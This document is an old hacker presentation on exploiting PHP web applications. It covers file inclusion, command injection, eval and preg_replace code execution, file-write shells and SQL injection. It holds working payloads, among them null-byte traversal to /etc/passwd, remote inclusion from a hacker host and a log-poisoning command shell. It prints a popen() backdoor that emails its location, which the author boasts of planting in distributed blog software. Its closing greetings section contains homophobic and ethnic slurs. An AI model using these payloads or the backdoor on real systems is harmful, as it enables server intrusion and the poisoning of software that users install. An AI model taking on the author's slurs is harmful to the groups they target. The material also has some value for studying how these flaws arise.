Web Application Auditing and Exploitation

By

ReZEN

Index

What is a “WebApp”?

- In software engineering, a web application—sometimes called a webapp and much less frequently a weblication—is an application that's accessed with a web browser over a network such as the Internet or an intranet. Web applications are popular due to the ubiquity of the browser as a client, sometimes called a thin client. The ability to update and maintain web applications without distributing and installing software on potentially thousands of client computers is a key reason for their popularity. Web applications are used to implement webmail, online retail sales, online auctions, wikis, discussion boards, weblogs, MMORPGs, and many other functions.

What is a “WebApp”? (cont.)

- Web applications can be written in many different languages. The most popular languages would have to be .asp (Active Server Pages), .php (PHP Hypertext Preprocessor) and .pl (perl). In this presentation we are going to focus specifically on PHP based web applications because of their widespread use and popularity. Also because of the recent attention to this category the security industry has put on this subject.

Intro To PHP

- PHP is an interpreted language meaning that it’s source is not compiled at runtime but rather “interpreted” by an “interpreter”. PHP is popular because of how easy it is to quickly code robust applications for various purposes. PHP has thousands of internal functions. There is a function for everything you could ever imagine in PHP. This broad rage of tools in the PHP language is another reason it is so popular. PHP’s functions are its greatest asset but also its greatest weakness in the fact that improper or unregulated use of certain functions can cause unwanted effects. We are going to talk about some of those functions in this presentation.

Function Exploitation Overview

- In programming a function is used to do some sort of calculation or procedure when called upon by the program. The reason functions are used is because it allows the programmer the ability to perform the same task over and over again without needing to copy and paste the same code over and over again. The programmer just writes the function once and then calls it any time it is needed. Lets first go over some truths about functions. You need to understand functions in order to be able to exploit them. The more you know about a function and how to manipulate it the larger your exploitation toolset grows.

Truths About Functions

- First, functions ALWAYS return something.
- Second, functions DO NOT always have parameters.
- Third, a function does what it is told to do. It ALWAYS follows the rules.

- Now the key here is to know what rules the function is playing by. If you know all of these rules then you will know how to manipulate the rules to get a desired result. You CANNOT break any of these rules. That is the essence of hacking, being able to gain a desired result while still conforming to all the basic rules of the system. Errors occur when programmers try to instill rules upon the system without properly checking to see if those rules conflict with the systems inherent rules. When you try to override the systems inherent rules you need to make sure that your rules still abide by the inherent system rules, or else you will have errors, it is the nature of software. Ok now lets take a look at some functions that are used in PHP and lets see how they are used.

Example: Stristr()

- The Stristr() function in PHP is used to sort through long strings to find the first occurrence of “needle” in “haystack”. It expects two string variables as parameters and recursively searches the “haystack” for the “needle”. Here is how the function is laid out:
- string `stristr` (string haystack, string needle) Returns all of *haystack* from the first occurrence of *needle* to the end. *needle* and *haystack* are examined in a case-insensitive manner. The function strstr() is used for case-sensitive searching. Here is an example in code of how this function is used:
-
```
<?php
  $name = 'USERNAME';
  echo stristr($name, 'e');
?>
```
- The first parameter that is passed is the contents of the string variable $name, and the second parameter is “e”.
- If you were to run that script it would output “ERNAME” (without quotes). That’s because the first occurrence of “e” was right after the S in USERNAME, so everything after and including the “E” was displayed.

Function Exploitation Overview

- Ok now that you’ve seen an example of how functions are set up and used in PHP lets take a look at some of the functions that we can manipulate to gain access to a system or perform some sort of other devious act. Here is a list of the functions we will be covering in this presentation:

Exploitable Function List

- include()
- include_once()
- require()
- require_once()
- eval()
- preg_replace()
- fwrite()
- passthru()
- file_get_contents()
- shell_exec()
- system()
- mysql_query()
- fopen()
- readfile()
- glob()
- popen()
- file()
- exec()

Remote / Local File Inclusion Functions / Bugs

include()   include_once()

require() require_once()

Function Descriptions

- include() / require()
  - Files for including are first looked in include_path relative to the current working directory and then in include_path relative to the directory of current script. E.g. if your include_path is ., current working directory is /www/, you included include/a.php and there is *include "b.php"* in that file, b.php is first looked in /www/ and then in /www/include/. If filename begins with *./* or *../*, it is looked only in include_path relative to the current working directory. When a file is included, the code it contains inherits the variable scope of the line on which the include occurs. Any variables available at that line in the calling file will be available within the called file, from that point forward. However, all functions and classes defined in the included file have the global scope.
- include_once() / require_once()
  - The include_once() statement includes and evaluates the specified file during the execution of the script. This is a behavior similar to the include() statement, with the only difference being that if the code from a file has already been included, it will not be included again. As the name suggests, it will be included just once. include_once() should be used in cases where the same file might be included and evaluated more than once during a particular execution of a script, and you want to be sure that it is included exactly once to avoid problems with function redefinitions, variable value reassignments, etc.

What's the Difference?

- include* functions when called with a non-existent file return with an error and the rest of the script continues on being executed.
- require* functions when called with a non-existent file return with a fatal error and the rest of the script is not executed.

How can we manipulate these functions?

- Ok we know these files are used to include local PHP files and remote PHP files. We also know that this function takes only one argument, the path and name of the file to be included. Now if this file was remotely hosted then the path would be substituted with the URL of the file. Ok well how is this bad?

Exploitation Example

Ok So here we have 3 files, a.php b.php and c.php. As we can see a.php includes b.php which in turn includes c.php. And this is totally fine the script works perfectly well. If you were to run the a.php script you would get 4 outputted to your screen. The problem lies in the b.php file. Lets take a closer look at this file:

a.php

```
<?php
$c = “c”;
include(“b.php”);
$a = 2+$d;
echo $d;
?>
```

b.php

```
<?php
include($c.“.php”);
$d = $e+1;
?>
```

c.php

```
<?php
$e=1;
?>
```

Exploitation Example (register_globals)

- The a.php file sets the $c variable prior to calling the b.php file. Then in the b.php file it includes whatever is in the $c variable followed by “.php”. Well what's the problem you ask? Well the problem isn’t in the code. The code works fine. It follows all the rules but it doesn’t take into account that someone could access the b.php file directly. Well what's wrong with this?

- The answer is a little thing called register_globals. This means that when allowed any variable can be set via a request made by the client. When register_globals is off it turns off the ability of variables to be set with a request from the client. Well our $c variable is set prior to being used in the b.php file but if someone were to access b.php first instead of a.php and if register_globals is on (which it is by default on all versions prior to 4.2.0) then we can change the value of $c to anything we want. Ok so now how do we exploit this?

- Easy, all we have to do is access the script directly. Say the webapp is at www.bla.com/a.php. Well all we have to do is go to www.bla.com/b.php and depending upon their php.ini settings we are either greeted with a blank page or a page with an error. So now knowing that b.php is expecting something in the $c variable we can manipulate that $c variable by just adding it to our URL: www.bla.com/b.php?c=bla and we will be greeted with another error stating that bla.php doesn’t exist. Ok so we know that its trying to access local files.

Exploitation Example (magic_quotes_gpc)

- So what if we make “c=a”? Lets try it: www.bla.com/b.php?c=a Ahh look at that the script runs perfectly fine and a 4 gets outputted to our screen. Ok so what if we do “c=../../../../../../../../../etc/passwd”? We get an error. Ok its giving us an error because its trying to access ../../../../../../../../../etc/passwd.php which clearly doesn’t exist. The ../../’s are the so that the script will hopefully drop back far enough in the directory structure to get to the /etc/passwd file. But were getting stopped because its adding “.php” to the end of everything were trying to get after. So we need to figure out a way to get rid of that ending “.php”. Well how do we do that? The answer lies in the magic_quotes_gpc setting in php.ini. Magic_quotes_gpc is basically the equivalent to calling the addslashes() function on every user supplied variable. The GPC stands for Get, Post, Cookie. Now if Magic_quotes_gpc is on there's nothing we can do except include local files that end “.php”. But if its off we can include local files by adding a null byte to the string we are injecting to. In PHP a null or EOL (end of line) character is translated to a “\n”. Well the hex equivalent to that is %00. So in our string if we do b.php?c=../../../../../../../../../etc/passwd%00 Our script includes the /etc/passwd file. We can include remote files as well. To do that all we have to do is have the c variable contain a URL to our PHP script. Example: b.php?c=http://www.hacker.com/evil notice how I don’t put “.php” at the end because I know the script already does this. Now if I wanted to add the “.php” at the end I’d have to be sure I added the %00 after it to null out the string. Ok now lets say for example you find a server that is vulnerable but it wont let you include remote files because allow_remote_fopen is turned off. So what can you do?

Exploitation Example (access log injection)

- Easy. You can Inject PHP code into the access logs of the server. To do that all you have to do is simply construct a GET request with PHP code in it. Example:
- $CODE ='<?php ob_clean();echo START;$_GET[cmd]=striplashes($_GET[cmd]);passthru($_GET[cmd]);echo START;die;?>';
- $content.="GET /path/".$CODE." HTTP/1.1/n";
- $content.="User-Agent: ".$CODE."/n“;
- $content.="Host: ".$host."/n";
- $content.="Connection: close/n/n";
- This code Is then sent to the server via a socket request. The server then logs the attempt in its access logs. Then all that's left for the attacker to do is access the access logs via the local file inclusion. If the attacker is successful and the access log is included it will run the PHP code as legitamate PHP code. This will allow the attacker to run commands on the server without having to include a remote file. Thus the attacker would be able to leverage even more attacks on the server. Again you have to have magic_quotes_gpc off and register_globals on to achieve success with these exploits. Granted some webapps have anti-magic_quote code and anti-register_global code so you'll just have to keep an eye out for them.

Remote / Local Command Execution Functions / Bugs

eval() popen() exec() passthru() shell_exec() system()

Function Descriptions

- eval()
  - mixed eval (string code_str)

    eval() evaluates the string given in *code_str* as PHP code. Among other things, this can be useful for storing code in a database text field for later execution. *code_str* does not have to contain PHP Opening tags.
  - There are some factors to keep in mind when using eval(). Remember that the string passed must be valid PHP code, including things like terminating statements with a semicolon so the parser doesn't die on the line after the eval(), and properly escaping things in *code_str*. To mix HTML output and PHP code you can use a closing PHP tag to leave PHP mode.
  - Also remember that variables given values under eval() will retain these values in the main script afterwards.
- exec()
  - string exec (string command [, array &output [, int &return_var]])

    exec() executes the given *command*.
- popen()
  - resource popen (string command, string mode)

    Opens a pipe to a process executed by forking the command given by command.
  - Returns a file pointer identical to that returned by fopen(), except that it is unidirectional (may only be used for reading or writing) and must be closed with pclose(). This pointer may be used with fgets(), fgetss(), and fwrite().

Function Descriptions

- shell_exec()
  - string shell_exec (string cmd)
- passthru()
  - void passthru (string command [, int &return_var])

    The passthru() function is similar to the exec() function in that it executes a *command*. This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser. A common use for this is to execute something like the pbmplus utilities that can output an image stream directly. By setting the Content-type to *image/gif* and then calling a pbmplus program to output a gif, you can create PHP scripts that output images directly.
- system()
  - string system (string command [, int &return_var])

    system() is just like the C version of the function in that it executes the given *command* and outputs the result.
  - The system() call also tries to automatically flush the web server's output buffer after each line of output if PHP is running as a server module.
  - If you need to execute a command and have all the data from the command passed directly back without any interference, use the passthru() function.

eval() Exploitation Example

- For this example were going to look at the vulnerability in the Horde webmail system. This was released a while back and is a good bug for explaining the exploitable uses of this function. Ok in the Horde webapp files was a help viewer that allowed the user to view the help files. Well here is the vulnerable code for that help file:

-
  ```
  } elseif ($show == 'about') {
    require $fileroot . '/lib/version.php';
    eval('$version = "' . ucfirst($module) . ' " . ' . String::upper($module) . '_VERSION;');
    $credits = Util::bufferOutput('include', $fileroot . '/docs/CREDITS');
    $credits = String::convertCharset($credits, 'iso-8859-1', NLS::getCharset());
    require HORDE_TEMPLATES . '/help/about.inc';
  ```

- Ok so we can see that if the $show variable contains “about” then it requires the /lib/version.php file. All that file does is define the constant HORDE_VERSION. So we don’t need to worry about that. Ok well the $module variable gets used in the eval() function it’s the only variable that does get used. But its passed to the ucfirst() function. Well all the ucfirst function does is capitalize the first letter of whatever string gets passed to it. So its not doing any type of checking on the $module variable at all. So to exploit this all we have to do is inject php code into the $module variable. Keep in mind that we have to follow the syntax of the function. We can’t just stick “system($cmd);” in there. We have to follow the syntax of how its used in the file. So the eval function uses single quotes so we would have to inject something followed by “ so that it cancels our the $version equals part of the string. So if we take a look at the metasploit expliot for this bug we see that it uses: ;".passthru($byte);'. For intputing into the $module variable. So it sends a ; then the close quotes then it executes the passthru function with variable $byte. It then has the single quote to cut the string off followed by a period to add the rest of the remaining string to it. I advise playing with this exploit a little bit so you can fully understand how it works.

popen() Exploitation Example

- This function is used by PHP to communicate with the underlying system. What this function does is takes whatever command you give it and executes it on the underlying system. Its similar to system() and exec() except it forks new processes on the system. Here is an example of a backdoor made with the popen() function:

```
$handle = popen($filed ." 2>&1", "r");
while(!feof($handle)){
$line=fgets($handle);
if(strlen($line)>=1){
echo"$line<br>";}}
pclose($handle);
mail($ad,"".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'],"");
```

- Ok so say you get onto a system and want to keep access without getting caught. You find a PHP file you can write to and you drop this code into in between functions. What this code does is takes $filed (your command) and runs it through popen(). It then echo's the output to the screen. Once its done it sends an email with a path to the URL and path to the file. I added this code to the simplePHPBlog script. So once anyone installed it the script it would send an email to a dodgeit.com email address. Then I'd check the dodgeit.com email address with an rss reader and in the subject of the mails it would say the URL and location of the file. And whatever user emails you is the user that your permissions are on. So it was pretty cool while it lasted. Problem was dodgeit.com mail addresses only keep the newest 50 emails so you have to constantly check it if you door some source code like that. Anyways here is an example of a vulnerable popen() function in some code:

popen() Exploitation Example

```
<?php

/*
System Info Retrieval WebApp
*/

$uarg = $_POST['uarg'];

if (!isset($_POST['submit']))
{

echo "<html>";
echo "<head></head>";
echo "<body>";
echo "<h3>Wich system information do you require?</h3>";
echo "-a all<br>-i Kernel Identity<br>-m Hardware<br>-n System Name<br>-p Processor<br>-r Release Level<br>-s Operating System<br>-v
Version<br><br>";

echo "<form method=\"post\" action=\"test.php\">";
echo "option:<br><input type=\"text\" name=\"uarg\" size=\"2\" maxlength=\"2\"><br>";
echo "<input type=\"submit\" value=\"Submit\" name=\"submit\">";
echo "</form>";

} else {

$handle = popen("uname $uarg 2>&1", "r");
while(!feof($handle))
{
$line=fgets($handle);
if(strlen($line)>=1)
{
echo"$line<br>";
}
}
pclose($handle);
}
?>
```

popen() Exploitation Example

- Ok so what this program does is great the user with a web form that asks them what type of system information they want to get. There are various options that the user can input. If we look at the source code of the web form by going to our browser and doing a "view source" we notice that they restrict the text box to a max length of two characters. Ok so lets see if they restrict the option that we put in. So if we put in –z we get an error that looks like this:

-
  ```
  uname: illegal option -- z
  usage: uname [-aimnprsv]
  ```

- Ok so we know that our option is getting passed straight to the uname command. And we should know that using the ; character in *nix allows us to group multiple commands together. So if somehow we could modify our option to be say –a;id; wed be able to see our id as well and run commands on the target system. So how do we do this? Easy, you can use either the Fire Fox plugin Live HTTP Headers or another plugin Tamper Data. I use both for various things. Both tools allow you to modify post requests in real time and then send them to the server. So we whip up our Tamper Data and tell it to start monitoring. Then we type –a into the box. Tamper Data Alerts us that we are about to send a post request would we like to modify it. So we modify it so that we can fit more characters into the variable uarg. So we put –z;id;pwd; into the uarg slot in our Tamper Data form and we get this:

-
  ```
  uid=1337(ReZEN) gid=1338(ReZEN) groups=31337(xorcrew), 0(wheel)
  /home/nasa_web/public_html/nasa_webadmin_console/
  ```

- That was exploitation of the popen() function without even knowing that popen() was being used. We just used some educated guessing and the system responses to figure out a vulnerability in the app. Live HTTP Headers and Tamper Data along with one of the various Cookie Editor plugins for Fire Fox are invaluable in webapplication auditing.

exec(), shell_exec(), passthru(), system() Exploitation Example

- These functions are pretty self explanatory and you would exploit them in the same manner as the popen() example. If you see these functions in some code just look for any variables that are used in them and if you have access to those variables. If you do then have fun. Just make sure that your following the correct syntax when exploiting these functions.

File / File System Functions / Bugs

glob() fwrite() fopen() readfile() file_get_contents() file()

Function Descriptions

- array `glob` (string pattern [, int flags])
  - The `glob()` function searches for all the pathnames matching *pattern* according to the rules used by the libc glob() function, which is similar to the rules used by common shells. No tilde expansion or parameter substitution is done. Returns an array containing the matched files/directories or FALSE on error.
- int `fwrite` (resource handle, string string [, int length])
  - `fwrite()` writes the contents of *string* to the file stream pointed to by *handle*. If the *length* argument is given, writing will stop after *length* bytes have been written or the end of *string* is reached, whichever comes first. `fwrite()` returns the number of bytes written, or FALSE on error.
- resource `fopen` (string filename, string mode [, bool use_include_path [, resource zcontext]])
  - `fopen()` binds a named resource, specified by *filename*, to a stream. If *filename* is of the form "scheme://...", it is assumed to be a URL and PHP will search for a protocol handler (also known as a wrapper) for that scheme. If no wrappers for that protocol are registered, PHP will emit a notice to help you track potential problems in your script and then continue as though *filename* specifies a regular file. If PHP has decided that *filename* specifies a local file, then it will try to open a stream on that file. The file must be accessible to PHP, so you need to ensure that the file access permissions allow this access. If you have enabled safe mode, or open_basedir further restrictions may apply. If PHP has decided that *filename* specifies a registered protocol, and that protocol is registered as a network URL, PHP will check to make sure that allow_url_fopen is enabled. If it is switched off, PHP will emit a warning and the fopen call will fail.

Function Descriptions

- int readfile (string filename [, bool use_include_path [, resource context]])
  - Reads a file and writes it to the output buffer. Returns the number of bytes read from the file. If an error occurs, FALSE is returned and unless the function was called as @readfile(), an error message is printed.

- string file_get_contents (string filename [, bool use_include_path [, resource context [, int offset [, int maxlen]]]])

  - Identical to file(), except that file_get_contents() returns the file in a string, starting at the specified *offset* up to *maxlen* bytes. On failure, file_get_contents() will return FALSE.

- array file (string filename [, int use_include_path [, resource context]])
  - Identical to file_get_contents(), except that file() returns the file in an array. Each element of the array corresponds to a line in the file, with the new line still attached. Upon failure, file() returns FALSE.

glob() Exploitation Example

- Ok this function I’ve rarely seen used but I use it anytime I need to list files or search a directory. It’s a good function to put into PHP shells incase the “find” or “locate” system commands don’t work. Anyways the function takes 1 parameter and here’s a simple example app that’s glob() function is vulnerable:

glob() Exploitation Example

- Ok in this example the a.php file includes the g.php file to list all the first in the “images” directory. And if you access the g.php file directly you get a blank page. Well this is because of the isset() function. It is used to determine if a variable is set before usage. It takes one parameter, the variable, and returns either TRUE or FALSE depending of that variable contains anything. So how do we bypass this?

a.php

```
    <?php
    $dir = “images”;
    include(“g.php”);
    echo “<br>That’s All
       Folks”;
    ?>
```

g.Php

```
 <?php
   If(isset($dir))
    {
      foreach (glob($dir) as $image)
    {
      echo "$image<br>";
     }}
?>
```

glob() Exploitation Example

- Simple the isset() function doesn't check to see what the variable contains only that in contains something. So we can fill the $dir variable with anything that we want. Here is an example:

  http://www.bla.com/gallerylist/g.php?dir=/etc/*

  What that does is list every file and directory in the /etc folder on the target server. Now the cool thing about this function is that it you do things like:

  http://www.bla.com/gallerylist/g.php?dir=/*/*/*/*/

  What that will do is list ever directory starting in the / directory and going four directories deep in every directory. If you want it to list ever file in every directory going four directories deep all you'd have to do is an one more star on the end like this:

  http://www.bla.com/gallerylist/g.php?dir=/*/*/*/*/*

  What can you do with just directory info though? Well
  You can do quite a lot. Like figure out what bins are on the system. Find hidden directories in other sites. Find out user names via home directory names. All kinds of stuff.

```
g.Php
 <?php
   If(isset($dir))
    {
      foreach (glob($dir) as
       $image)
    {
      echo "$image<br>";
     }}
?>
```

fwrite() Exploitation Example

- This function is used to write to data to files. It usually takes 2 arguments, the file pointer supplied by fopen() and the contents to be written to the file. Now this vulnerability depending on the type of file being written can have some potential. If we can write to a PHP file we can create a simple shell and execute commands. If we can write a TXT file we can potentially deface (LAME) or we can use that text file as a shell file for include file bugs. This would help us mask our identity just a little bit more. Here is an example I found in the wild of this type of bug:

fwrite() Exploitation Example

- Ok so in this example were using the wimpy_trackplays.php vulnerability I found a while ago. It's a lame vulnerability but it helped me out with autoHACK. Anyways here is some important code in the file:

```
$trackFile = urldecode($_REQUEST['theFile']);
$trackArtist = urldecode($_REQUEST['theArtist']);
$trackTitle = urldecode($_REQUEST['theTitle']);
$testFile = "trackme.txt";
```

- Ok we can see here that those first three variables aren't sanitized at all. It takes whatever you give it. Now lets look at the next important lines:

```
$theContent = $trackFile."\n".$trackArtist."\n".$trackTitle."\n";
strstr( PHP_OS, "WIN") ? $slash = "\\" : $slash = "/";
writeTextFile2(getcwd ().$slash.$testFile, $theContent, 'w+');
```

- Ok that takes our input and groups it into one string seperated by new line formating characters. Then it calls its custom function writeTextFile2(). Here are the important lines in this function:

fwrite() Exploitation Example

Ok in this part of the function it opens the test.txt file with the w+ condition which means to read and write and create it if it does not exist. Ok then it writes our content to the file, and then it chmods the file with the 0777 permisions so it can be viewed / edited by all. So to exploit this you just do:

/wimpy_trackplays.php?myAction=trackplays&trackFile=<?php&trackArtist=system("uname -a;id;");&trackTitle=?>

Then you just go to where your wimpy_trackplays.php file is and replace wimpy_trackplays.php with test.txt and you should see your shell source code.

```
if (!$fp = fopen($theFileName, $openCondition)) {
                $retval = FALSE;
        }
        if($retval){
                if (!$filewrite = fwrite($fp, stripslashes($enterContent))) {
                        $retval = FALSE;
                        exit;
                } else {
                        $retval = TRUE;
                }
}
        @fclose($fp);

        return $retval;
        @chmod ($theFileName, 0777);
```

fopen() Exploitation Example

- Ok this function takes two arguments the first being the file or URL to be opened the second being the condition the file is to be opened. In this case the $url variable has not been sanitized at all and is being used directly in an fopen() call. The file pointer for the file is then fed into the fpassthru() function which reads until the EOF is reached and sends the contents of the file to the output buffer.

```
url.php
  <?php
  $fp = fopen($url, 'r');
  fpassthru($fp);
  ?>
```

- To Exploit this all we would have to do is go to url.php?url=config.php or url.php?url=http://www.google.com for a proxy. Exploitation of this function is pretty straight forward, you just have to be sure you follow syntax and watch how the file pointer is used after the fopen() call.

readfile() get_file_contents() file() Exploitation

- Exploitation of these functions is pretty straight forward as well, just be sure to make note of syntax and that you have access to the file being read and what happens to the data that is read. There are a few other functions to take note of though in the FILE / FILE SYSTEM Category and they are fread(), fgets(), fputs(), put_file_contents(), rmdir(), rename() as well as many others. There simply is not enough time to cover each one of them in depth. I’m only trying to cover the major / most common ones I’ve come across in my own auditing experience.

Local / Remote Command Execution with preg_replace()

- This type of vulnerability is my favorite type, because of how the preg_replace() function works in PHP. Not many people know how it works and to be honest I'm still not 100% an expert at it. Its not hard to believe that people don't fully understand this though because In my search for information about this function I found VERY little in the ways of documentation on how to actually exploit this thing. But eventually I figured it out (I think). Anyways onto the description:

Function Description

- mixed `preg_replace` (mixed pattern, mixed replacement, mixed subject [, int limit [, int &count]])
  - Searches *subject* for matches to *pattern* and replaces them with *replacement*. *Replacement* may contain references of the form *\\n* or (since PHP 4.0.4) *$n*, with the latter form being the preferred one. Every such reference will be replaced by the text captured by the *n*'th parenthesized pattern. *n* can be from 0 to 99, and *\\0* or *$0* refers to the text matched by the whole pattern. Opening parentheses are counted from left to right (starting from 1) to obtain the number of the capturing subpattern. When working with a replacement pattern where a backreference is immediately followed by another number (i.e.: placing a literal number immediately after a matched pattern), you cannot use the familiar *\\1* notation for your backreference. *\\11*, for example, would confuse `preg_replace()` since it does not know whether you want the *\\1* backreference followed by a literal *1*, or the *\\11* backreference followed by nothing. In this case the solution is to use *\${1}1*. This creates an isolated *$1* backreference, leaving the *1* as a literal. If *subject* is an array, then the search and replace is performed on every entry of *subject*, and the return value is an array as well. The *e* modifier makes `preg_replace()` treat the *replacement* parameter as PHP code after the appropriate references substitution is done. Tip: make sure that *replacement* constitutes a valid PHP code string, otherwise PHP will complain about a parse error at the line containing `preg_replace()`.

Exploiting preg_replace() the journey begins

- Ok first things first. We have to have a good knowledge of PCRE syntax, which IMHO the dumbest thing alive. For a good guide to PCRE syntax go to:
- http://www.zend.com/manual/reference.pcre.pattern.syntax.php
- Ok so now that we've got that we need to look at how the preg_replace function works. It takes 3 arguments, the pattern to look for, the string to replace the results with and the variable to search. Ok so how do we exploit a function that searches strings let alone get it to execute commands?

Exploiting preg_replace()

- A little lesser known pattern option in the PHP syntax. Here are the common pattern options:
- *i*	for PCRE_CASELESS
- *m*	for PCRE_MULTILINE
- *s*	for PCRE_DOTALL
- *x*	for PCRE_EXTENDED
- *U*	for PCRE_UNGREEDY
- *X*	for PCRE_EXTRA
- There is another lesser known option, the “e” option. When this option is used in a preg_replace() function it takes whatever is in the replacement argument and eval’s it as PHP code. So if you can modify the pattern and the replacement variable contents then you can execute commands on the target system. Lets dissect an exploit to see how this works:

Invision Power Board <= 2.1.5 “lastdate” Remote Command Execution

- Ok well this exploit uses the a call to the preg_replace() function to execute its arbitrary code. Now I don’t have a copy of the old IPB source so if you can find it follow the $lastdate variable all the way through the search.php file. You will eventually find the vulnerable preg_replace() function. This exploit is similar to the phpBB RCE vulnerabilities out there. So I advise researching them both. Anyways, what happens with this bug is that the exploit:

- http://www.milw0rm.com/exploits/1720

- First creates a user, then logs in and searches to find a search id. Then it searches inputting this: z|eval.*?%20//)%23e%00'; into the lastdate variable. If you notice at the end there the have %23e%00; that translates to #e/0; So in a preg_replace function no matter how its intentionally used it adds #e and clears out the rest of that parameter. That then makes whatever is in the replacement part gets executed as PHP code. Which in this case is part of a profile that is set when the exploit creates a user. You have to be sure though when trying to exploit this function that your syntax is perfect. And with preg_replace() functions its very difficult because of the PCRE shit. So just remember that and also the target system MUST have magic_quotes_gpc disabled for you to be able to exploit preg_replace() bugs.

SQL Injection Functions / Bugs

mysql_query()

Function Descriptions

- resource mysql_query (string query [, resource link_identifier])
  - mysql_query() sends a query (to the currently active database on the server that's associated with the specified *link_identifier*).

mysql_query() Exploitation Example

- Now there are MANY MANY resources out there to help you with SQL injection so this will be a brief example. Ok for this example I'm going to use the IPB 2.1.5 PM system SQL Injection Exploited Coded by the Ykstortion Security Team. I like this exploit because it's a blind SQL injection attack and it uses a smart way of actually exploiting a bug that most others would find useless. So in other words its very clever. Ok so lets take a look at this exploit:

mysql_query() Exploitation Example

- What this exploit does is inject an SQL query in the $from_contact variable in the PM system. The way its used though makes it tricky. See in IPB the query goes to a table grabs the username out of that table and returns it. That way the message gets sent to the correct person and its from the correct person. Well for the message to get sent correctly it has to be from a valid user on the system. So no matter what the query has to return a username or no information is displayed except for syntax errors. So here is what they did. They took the exploit and injected code that checked each character in a value in the database by using MySQL’s MID() function and if it matched it returned the exploiters username so the PM would get sent to himself from himself. Then the exploit would check to make sure the message got sent. If it did then it knew what that character was. So it brute forced the value in a way. So they used that to brute force the password hash and I modified it to brute force the validation hash. Keep in mind when doing SQL injections that you have to have the correct number of columns in your SELECT statement. That is why you se exploit with Select 0,0,0,0,0,0,passwd,0,0,0.

Application Assisted Auditing

- Application Assisted Auditing means that your using an application to assist you in the auditing process. Now for auditing source code many beginners use the unix grep tool to quickly go through and pick out the things they want. This is all well and good but you don't get a sense of how the program is laid out and how the individual parts fit together as a whole. This is needed in order to figure out complex vulnerabilities. And for PHP based auditing there is no greater tool then PHPXRef. Its available for free on source forge. This program cross references everything, and I mean EVERYTHING. It traces variables and function calls the whole works. It is probably the #1 tool in my web auditing tool kit. You can jump to key pieces in the code see what's called where and what happens to it across multiple files. It's the greatest thing. So defiantly check that out.

Credits

- I ripped from too many sources to be able to list them all here. www.php.net for all the forum descriptions. It is the best resource when trying to figure out how a function works. Got some stuff from WIKIPEDIA. Um, all the exploit authors of the exploits I exampled. Thanks. And thanks to all the people who I ripped from and forgot. Most of this was my own though, all the example code too.

Gr33tz

- My Beautiful Girlfriend
- GML
- wr0ck
- 0xception
- tendo
- z3r0
- spic (even though he hates me)
- Stokhli

Fuckz

- .br
- .ir
- .ru
- ./Turkish fags (irskorptix)
- ./Arab fags (red devils)
- All defacers
- #h4cky0u
- wr0ck (fag)
- me

0h n0hz 0-day giv3 Aw4y!!!

- I was g00na give away some sweet 0day here but I thought “Hey I just told them how to go audit PHP apps. Why not let them find it.” So I decided not to release the 0-day but I will give you a clue there is a Remote Command Execution (without login) in an app that’s name starts with C and ends with panel. So maybe you should check it out. kthxbye